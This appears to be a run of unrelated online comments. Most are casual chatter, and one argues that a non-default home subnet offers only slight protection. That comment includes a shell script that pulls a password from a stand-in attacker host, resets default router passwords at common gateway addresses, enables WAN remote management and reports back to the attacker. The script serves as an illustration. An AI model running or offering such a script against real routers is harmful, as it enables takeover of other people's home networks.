That chart supposed to say February 2026, they fixed it in the article.

Sometimes a problem solving hour every four days is the best we can do, and that has to be okay. Right there with you friend. ❤️

Just make sure to get the angle correct, otherwise the “frost free” bit won’t work so well.

No worries. It is technically another layer in the “swiss cheese” model, but it certainly is more holes than cheese. I think it falls into the “can’t hurt, might help” category.

I love the two on the left so close together. I’m imagining a stack of rooms that all have dueling fireplaces. 😂

That’s what I said though, it only protects you from the very most basic of mindless scripts. Obviously ARP/NDP makes it pointless for anything more complicated than…

newpass="$(curl "https://bad.guy/get_pass_for_pub_ip")"
for a in '192.168.1.1' '192.168.0.1' '10.0.0.1'; do
    curl -q "http://${a}/reset_password.cgi?&password=password&new_password=${newpass}" 2>/dev/null && \
    curl -q "http://${a}/remote_management.cgi?&password=${newpass}&wan_enable=1" && \
    curl -q "https://bad.guy/success?addr=%24%7Ba%7D"
done

…completely pointless. If it’s a someone inside your network, you need more.

Using a random non-default subnet increases security (slightly, and only through obscurity) by making it harder for a compromised device to perform automated attacks against, most often, your router. Typically they’re pretty simple scripts that just try to hit default ports on default IPs.